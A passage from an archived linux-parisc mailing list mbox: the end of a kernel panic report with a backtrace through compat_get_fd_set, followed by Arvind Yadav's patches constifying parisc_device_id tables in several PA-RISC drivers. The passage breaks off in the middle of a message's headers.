Backtrace:
[<00000000402f316c>] compat_get_fd_set+0x5c/0x78
[<00000000402f3cac>] compat_core_sys_select+0x1cc/0x300
[<00000000402f52dc>] compat_SyS_select+0x144/0x1a0
[<0000000040155fe4>] syscall_exit+0x0/0x14


Kernel Fault: Code=26 (Data memory access rights trap) regs=00000002234b84e0 (Addr=0000000000000000)
CPU: 1 PID: 21167 Comm: polyimport Not tainted 4.13.0-rc5+ #1
task: 0000000223d74b50 task.stack: 00000002234b8000

YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00001000000001101111111100001111 Not tainted
r00-03 000000ff0806ff0f 00000002234b8420 00000000402f316c 00000002234b84a0
r04-07 000000004071c960 00000002234b82b8 00000002234b8218 0000000000000100
r08-11 0000000000000004 0000000000000100 00000000f3780588 0000000000000000
r12-15 0000000000000000 00000002234b8148 0000000000000000 00000002234b8218
r16-19 0000000000000000 000000000002f03c 000000000002f030 0000000000000000
r20-23 0000000000000100 0000000000000000 00000002234b8148 0000000000000000
r24-27 0000000000000100 0000000000000000 0000000000000000 000000004071c960
r28-31 0000000000000000 00000002234b8470 00000002234b84e0 0000000000000000
sr00-03 0000000003f15000 0000000003f15000 0000000003f15000 0000000003f15000
sr04-07 0000000000000000 0000000000000000 0000000000000000 0000000000000000

IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000406a4718 00000000406a471c
IIR: 0ff312c0 ISR: 0000000000000000 IOR: 0000000000000000
CPU: 1 CR30: 00000002234b8000 CR31: b33e06ff0008e07f
ORIG_R28: 0000000000000040
IAOQ[0]: memset+0x68/0xd8
IAOQ[1]: memset+0x6c/0xd8
RP(r2): compat_get_fd_set+0x5c/0x78
Backtrace:
[<00000000402f316c>] compat_get_fd_set+0x5c/0x78
[<00000000402f3cac>] compat_core_sys_select+0x1cc/0x300
[<00000000402f52dc>] compat_SyS_select+0x144/0x1a0
[<0000000040155fe4>] syscall_exit+0x0/0x14

Kernel panic - not syncing: Kernel Fault
---[ end Kernel panic - not syncing: Kernel Fault

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: parport_gsc: constify parisc_device_id
Date: Sat, 19 Aug 2017 22:38:41 +0530
Lines: 31
Approved: news@gmane.org
Message-ID: <208280b55a359db78eecee720799955f2043fb49.1503162439.git.arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503162561 6791 195.159.176.226 (19 Aug 2017 17:09:21 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:09:21 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de, sudipm.mukherjee@gmail.com
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 19 19:09:15 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dj7FE-0007Vu-O8
	for glpp-linux-parisc@m.gmane.org; Sat, 19 Aug 2017 19:09:09 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751816AbdHSRJP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 19 Aug 2017 13:09:15 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:36156 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751659AbdHSRJO (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 19 Aug 2017 13:09:14 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id t83so3237252pfj.3;
        Sat, 19 Aug 2017 10:09:14 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=OTC3ksI9iO0GC/89OpsoXfttGVeL4thyIf9ai4Jv+YU=;
        b=DwVvLOmcn4LDknyOx0A4JI0EDSLbf2YxBSQb6V87uXUQzQLJPnZ7OuuKizU+SbnR1W
         gLRusHszzHLHE8sdD0avA0xFnYhhp3W7auI7rYgvdMxnOZDJW5IjMesI4g+jzaJ3cyPO
         4d4eoBig2Z5J6niy9e42Qes1BOABSYvhNyIVvvO//sqwm6zfd6Z0bcJWj6vneuhCQO56
         X7VVR9xolF4KHKN6WE8nQWajygF6JUTpR0AN8VO9CAojlCT7/aLNxITN88xbSy4/EInF
         omWPe6xUopGkIRk3FaeyiAQ/eIp+GaxIqA0tM7OA4xKxb1LnmgQNMos83rVCepeKjP6i
         KkOw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=OTC3ksI9iO0GC/89OpsoXfttGVeL4thyIf9ai4Jv+YU=;
        b=jrlOkNHjpP5m3r/Ab2JAKc2L2ugOIlrrTaIUpVCDsfqxswq312njwuSYQJDY04ta/f
         OnpAjPWd8qiX3zILON5RyW30zmh3cHM8+bw6F5+85sF7FLCFxdGqGrx4wesUVBor61TF
         n/Bm5GZFMz9DAkMCaGPUsCV6YzEXWdFagLksJNiIGqDzqZtRv78HrcMROhTEaO2p9pfv
         gdn6SP71BmMCALzLAZCNAOd3qzYmU0T7mSMRTgDQiOD5R6eKDCUiH6lNBCma4F/7vObl
         76eTPLC6JtcMM7jhcw/B8hyqJjVSD5tLJCc5fYhzWy6fC8GD1QhtE3aNRrtm7E3snZ4B
         LNrA==
X-Gm-Message-State: AHYfb5iPaMdbco8Dwu9htwqNnQECmGrAORtF2aZZW/7zzYinVbZgCUVs
        FgeHmZLYqLQM3w==
X-Received: by 10.99.120.203 with SMTP id t194mr5666705pgc.352.1503162554260;
        Sat, 19 Aug 2017 10:09:14 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id v126sm15227967pfv.144.2017.08.19.10.09.11
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:09:13 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27701 gmane.linux.kernel:2552946
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27701>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with
const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parport/parport_gsc.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parport/parport_gsc.c b/drivers/parport/parport_gsc.c
index 3858b87..8be1a0c 100644
--- a/drivers/parport/parport_gsc.c
+++ b/drivers/parport/parport_gsc.c
@@ -403,7 +403,7 @@ static int parport_remove_chip(struct parisc_device *dev)
 	return 0;
 }
 
-static struct parisc_device_id parport_tbl[] = {
+static const struct parisc_device_id parport_tbl[] = {
 	{ HPHW_FIO, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x74 },
 	{ 0, }
 };
-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH 0/8] constify parisc parisc_device_id
Date: Sat, 19 Aug 2017 23:12:18 +0530
Lines: 32
Approved: news@gmane.org
Message-ID: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503164563 27339 195.159.176.226 (19 Aug 2017 17:42:43 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:42:43 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 19 19:42:37 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1dj7la-0006e7-TW
	for glpp-linux-parisc@m.gmane.org; Sat, 19 Aug 2017 19:42:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751808AbdHSRml (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 19 Aug 2017 13:42:41 -0400
Original-Received: from mail-pf0-f193.google.com ([209.85.192.193]:34017 "EHLO
        mail-pf0-f193.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751796AbdHSRmk (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 19 Aug 2017 13:42:40 -0400
Original-Received: by mail-pf0-f193.google.com with SMTP id j83so1439720pfe.1;
        Sat, 19 Aug 2017 10:42:40 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id;
        bh=lvR5BKOJeOTsTuznzdbc9+govAxjqtbhOH4mzVavDCs=;
        b=GIBO2msa7WzcW9JeMYX0cu9pA0GJDGs67bMl/E+rC8zLptVuYbnp+fqUL3zMEp6LUe
         HA4wYm5Y0J+QxtnPdWT2EDB3QIUnx2OAaY52yafvIa5UQci1ZFrDFBuPZpgo3QfuLhmC
         gqPC19A/lB3uFJmz4N6+AtC0hTq8sjgjQEyHFeyZFHyHoxR2h3Xq6cY/tL5VMskGNGkb
         xquxTgY/xzi+ZX54O2QIVhOcFjpbYeUgBKKxhrjhNXBEKbMKYZrALswYSMMjHQUG8TLW
         r5sUmxD8LaRFsNN8pFHERdzQklqveSBXAvh0u8/iXere8WgbPtYMHgL02XLzPaKI5m+y
         TMog==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=lvR5BKOJeOTsTuznzdbc9+govAxjqtbhOH4mzVavDCs=;
        b=Pf1R/6tEAqF00s90m0wV9f0w8ykpYiAWBjQUFClLCOZhb+Cl71K0V3nQfWgKW2YrDS
         v2mqi1SZGIe6Xr9vIBa9mx3pvT7qMZuPxL3lLjQJHCEYALuBEQnADD9rxzcTAikTR3ET
         onnFKUed9cdGXqIukU1S1dW7ru8JPuW6kXYnGmjAa8qRitH1i3CORRaGslgPF9P20lC+
         h5WWQ1eRTMXKiZ2YnPxoB92+uG3HDLLSOc72LB+l9BUX91iEwaytnabffk4ESWTCBS5c
         MMMORvvodbuCy5AQg2Av76Z/MKxeK3W1Jvqt+YfJ1kFzbtWxAj5VRiDmUWrLJpghXo/B
         hdrA==
X-Gm-Message-State: AHYfb5gfXgWg8zOkegKHzfC+nlUI10KdaHLuV0H/W8Zlv1S99ObIL8T2
        XX2zD4QSk6dwEyzK
X-Received: by 10.84.179.165 with SMTP id b34mr13904367plc.455.1503164559854;
        Sat, 19 Aug 2017 10:42:39 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id p126sm11912456pfp.88.2017.08.19.10.42.36
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:42:38 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27702 gmane.linux.kernel:2552955
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27702>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work with
const parisc_device_id. So mark the non-const structs as const.

Arvind Yadav (8):
  [PATCH 1/8] parisc: asp: constify parisc_device_id
  [PATCH 2/8] parisc: ccio: constify parisc_device_id
  [PATCH 3/8] parisc: dino: constify parisc_device_id
  [PATCH 4/8] parisc: hppb: constify parisc_device_id
  [PATCH 5/8] parisc: lasi: constify parisc_device_id
  [PATCH 6/8] parisc: lba_pci: constify parisc_device_id
  [PATCH 7/8] parisc: sba_iommu: constify parisc_device_id
  [PATCH 8/8] parisc: wax: constify parisc_device_id

 drivers/parisc/asp.c         | 2 +-
 drivers/parisc/ccio-rm-dma.c | 2 +-
 drivers/parisc/dino.c        | 2 +-
 drivers/parisc/hppb.c        | 2 +-
 drivers/parisc/lasi.c        | 2 +-
 drivers/parisc/lba_pci.c     | 2 +-
 drivers/parisc/sba_iommu.c   | 2 +-
 drivers/parisc/wax.c         | 2 +-
 8 files changed, 8 insertions(+), 8 deletions(-)

-- 
2.7.4

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 1/8] parisc: asp: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:12:19 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503164546-31433-2-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503164573 29448 195.159.176.226 (19 Aug 2017 17:42:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:42:53 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:42:49 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7ln-0007Kl-A3
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:42:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752044AbdHSRms (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:42:48 -0400
Original-Received: from mail-pg0-f67.google.com ([74.125.83.67]:37259 "EHLO
        mail-pg0-f67.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751796AbdHSRmm (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:42:42 -0400
Original-Received: by mail-pg0-f67.google.com with SMTP id 83so18728674pgb.4;
        Sat, 19 Aug 2017 10:42:42 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=RG0Z6hoHbqrwklV37DfjhzP0tUouY4x4Z9RGqF9jGf4=;
        b=LibOb9wbqASQik6ogKM7uWztXlfm1YMuzHKr10euvyJL33eUiHWjBpn2lQ0OQU0969
         uAEROQ567hgr+ITuqRH7tRUANsGp2d3Ntz2hE/dqkFyegrAgSeTeJ8uQlzWY9FFMUBiW
         YbyPKZLaex5bktFTHCXFQBeB3eSHsutfzTfQyqoqhqQMmsGb48vNKpNFOfhIJC1VcoWu
         3WjqtZwJwHEE3+jvMfkBUR69+skWrwLYNiKefiKdCiJTyr0ltsh3i2X6IlkLgkSAANq5
         oTm7M1X91O3C2115t6iYfBegylah7p45Kg9mExfVsYSzOrpuQz0ubgYEr4FS5EBDY/Lr
         mqYA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=RG0Z6hoHbqrwklV37DfjhzP0tUouY4x4Z9RGqF9jGf4=;
        b=SBTPBtZwu1l7jn+yl9KboGV1p2bu8wToAiz83axObfIlldywnK08gUsCde1Wc3ZtPm
         S4s+uP9OBnaTuN0GURUq6BLlYIXoec564SXPCuTWVyt+6s/f1KCdg/LcCqsDb+UEhu7A
         UtRBrZWpYIioGZaq6/H2NiypGfNLvZ2YuflXuEfID5B6CyamM11n0rhC9ww6gXfQtJOg
         wWBqfsrZKq7c5yTqjKh0soD+0sh0ameJsjIQ+fRQOMXD9v1oIbSeMVB286zHjY5gCohM
         8IERwRQYvo/GeKh+ThOevrNVYo+nRvKborM9u/m+VQGht7hJMbOgy3FRAatduYqskNqd
         phvg==
X-Gm-Message-State: AHYfb5huSiqS7uunazI1nsXVhPRS5FCw/UyV8ndGYubH2ygEZlmeG0IN
        +yC4QFJrB1xXZQ==
X-Received: by 10.84.228.193 with SMTP id y1mr6899448pli.267.1503164561978;
        Sat, 19 Aug 2017 10:42:41 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id p126sm11912456pfp.88.2017.08.19.10.42.40
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:42:41 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552956 gmane.linux.ports.parisc:27703
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552956>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/asp.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/asp.c b/drivers/parisc/asp.c
index 6a1ab25..4ad32e1 100644
--- a/drivers/parisc/asp.c
+++ b/drivers/parisc/asp.c
@@ -118,7 +118,7 @@ static int __init asp_init_chip(struct parisc_device *dev)
 	return ret;
 }
 
-static struct parisc_device_id asp_tbl[] = {
+static const struct parisc_device_id asp_tbl[] = {
 	{ HPHW_BA, HVERSION_REV_ANY_ID, HVERSION_ANY_ID, 0x00070 },
 	{ 0, }
 };
-- 
2.7.4



From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 4/8] parisc: hppb: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:12:22 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503164546-31433-5-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503164574 29581 195.159.176.226 (19 Aug 2017 17:42:54 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:42:54 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:42:50 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7lp-0007Kl-1a
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:42:49 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752176AbdHSRmw (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:42:52 -0400
Original-Received: from mail-pf0-f196.google.com ([209.85.192.196]:34032 "EHLO
        mail-pf0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752054AbdHSRms (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:42:48 -0400
Original-Received: by mail-pf0-f196.google.com with SMTP id j83so1439850pfe.1;
        Sat, 19 Aug 2017 10:42:48 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=AQRuxGU1o5v4hwj5Ezcdife2NcdvYyrksfWIpNY7Jbk=;
        b=X3IkBHtMB9Ft+n8WgHovU5N2nq9RXcxBqPhzA/lYxPdGrP3WtwQOk3YF+Cyd1mraKn
         ik5UhQUOLy5kc3PsrALXfkRCAksXHLmgwm78BdLbFUuqt0JjZwqp8CvlUoqVS+hhZFJk
         h1Gc052dqtbCJ2H2z9daaACs8j1tV+pE7gi2/HX5lMlUtFvbeza92vVve1xQxOA9aTm4
         2bEGdg3xVBaB832GNEuCd9rnN0FfRQvPEq4noanQF/CTDQHz87WaFGArKMlMJP7KaF4L
         OY2OrYt0IrGdMNBT4YfN4MXysGocgceV0DLc7cwPpTCRHUhTCTbRjOnKHbGDJs2IW5Gg
         ZaCA==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=AQRuxGU1o5v4hwj5Ezcdife2NcdvYyrksfWIpNY7Jbk=;
        b=JPTlw6CN96L+LOUlItxFA+U/S8xhePIL1A42E0n42hAWacu2TplkCcIldzkYIch+Vq
         uDfFMOK87GuePkQLCpYZGCq91WZvttp/8gf7HzMpMO47pNsAb6Aovxple11lt4TlS/QE
         JngOXf1UOytuDBdcxwsvGvLmYj4iXeVmoYy0Zf/4JK4QjtCaXA1HhBdBP1ap9bOuBwK0
         4FdhZaBi8ODaHxkyw46w7dLlAXFUYeMbgDxGlRuH0DLQg+IkrcQLQbcmeWy1RmgcppdS
         2qInhiARN1YJRTRdLU0E4fGH2hsxq+QLQy8/YaxLKuefDOBEtwxMpVpjJlWFIP3iw7IP
         J5Gw==
X-Gm-Message-State: AHYfb5helDXI+HMlXJl/YuGm0MT2p7PS7kRfroIAbg/tKMeVq5Z3wi4a
        Fd4zr2lOyJ+3FPuZ
X-Received: by 10.84.217.132 with SMTP id p4mr6326592pli.297.1503164568299;
        Sat, 19 Aug 2017 10:42:48 -0700 (PDT)
Original-Received: from localhost.localdomain ([103.16.68.146])
        by smtp.gmail.com with ESMTPSA id p126sm11912456pfp.88.2017.08.19.10.42.46
        (version=TLS1_2 cipher=ECDHE-RSA-AES128-SHA bits=128/128);
        Sat, 19 Aug 2017 10:42:47 -0700 (PDT)
X-Mailer: git-send-email 2.7.4
In-Reply-To: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2552957 gmane.linux.ports.parisc:27704
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2552957>

parisc_device_id are not supposed to change at runtime. All functions
working with parisc_device_id provided by <asm/parisc-device.h> work
with const parisc_device_id. So mark the non-const structs as const.

Signed-off-by: Arvind Yadav <arvind.yadav.cs@gmail.com>
---
 drivers/parisc/hppb.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/hppb.c b/drivers/parisc/hppb.c
index 898208e..261f826 100644
--- a/drivers/parisc/hppb.c
+++ b/drivers/parisc/hppb.c
@@ -81,7 +81,7 @@ static int hppb_probe(struct parisc_device *dev)
         return 0;
 }
 
-static struct parisc_device_id hppb_tbl[] = {
+static const struct parisc_device_id hppb_tbl[] = {
         { HPHW_BCPORT, HVERSION_REV_ANY_ID, 0x500, 0xc }, /* E25 and K */
         { HPHW_BCPORT, 0x0, 0x501, 0xc }, /* E35 */
         { HPHW_BCPORT, 0x0, 0x502, 0xc }, /* E45 */
-- 
2.7.4



From - Thu Nov 08 21:40:12 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Arvind Yadav <arvind.yadav.cs@gmail.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 6/8] parisc: lba_pci: constify parisc_device_id
Date: Sat, 19 Aug 2017 23:12:24 +0530
Lines: 26
Approved: news@gmane.org
Message-ID: <1503164546-31433-7-git-send-email-arvind.yadav.cs@gmail.com>
References: <1503164546-31433-1-git-send-email-arvind.yadav.cs@gmail.com>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1503164578 30218 195.159.176.226 (19 Aug 2017 17:42:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 17:42:58 +0000 (UTC)
Cc: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
To: jejb@parisc-linux.org, deller@gmx.de
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Aug 19 19:42:54 2017
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1dj7lt-0007bh-4o
	for glk-linux-kernel-3@m.gmane.org; Sat, 19 Aug 2017 19:42:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752247AbdHSRmz (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
        Sat, 19 Aug 2017 13:42:55 -0400
Original-Received: from mail-pf0-f195.google.com ([209.85.192.195]:34040 "EHLO
        mail-pf0-f195.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1752054AbdHSRmx (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 19 Aug 2017 13:42:53 -0400
Original-Received: by mail-pf0-f195.google.com with SMTP id j83so1439906pfe.1;
        Sat, 19 Aug 2017 10:42:53 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20161025;
        h=from:to:cc:subject:date:message-id:in-reply-to:references;
        bh=1qqoBphmoJPxlgV5NvaqgMrzK/EubvkESdPLMOAc+RA=;
        b=ULqp9e0qdpwu7JMNyjWsbtxeisewzc3KddW/w7f6wYv9v0miilGIerAXEMQDf6xnsa
         mxybXX3jQ1n461qCaBvmOLLf+r9TQnPwVdQBUXmS6wjA7DHyw7x/8sLAbSDCFLrDtPAT
         GxzprNYhsqHnu6OE16uuvodsFFqHuN1mynwAWgQxngTUcoqyzmkuqUqgaqlgVQiBaekp
         N+X98lUXclPK3JCDSrjoKuyZOUFrUhLZHi5NQjK+5H7yZpQ109lUPD6Tv9xdE81/QkhU
         wf0EuvMjQ4Dtv0OhRaZYjDHfEhZ8a9LO4sNHfSX22pEQ/Eud5+0mw654X1bCPtDheiFu
         u36g==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to
         :references;
        bh=1qqoBphmoJPxlgV5NvaqgMrzK/EubvkESdPLMOAc+RA=;
        b=Z3BwiMxukRLuIczJGXA3tDUgI9m3XHKPoN02feO9SXKExSMKlMyYZyjbt95yVYP6C/
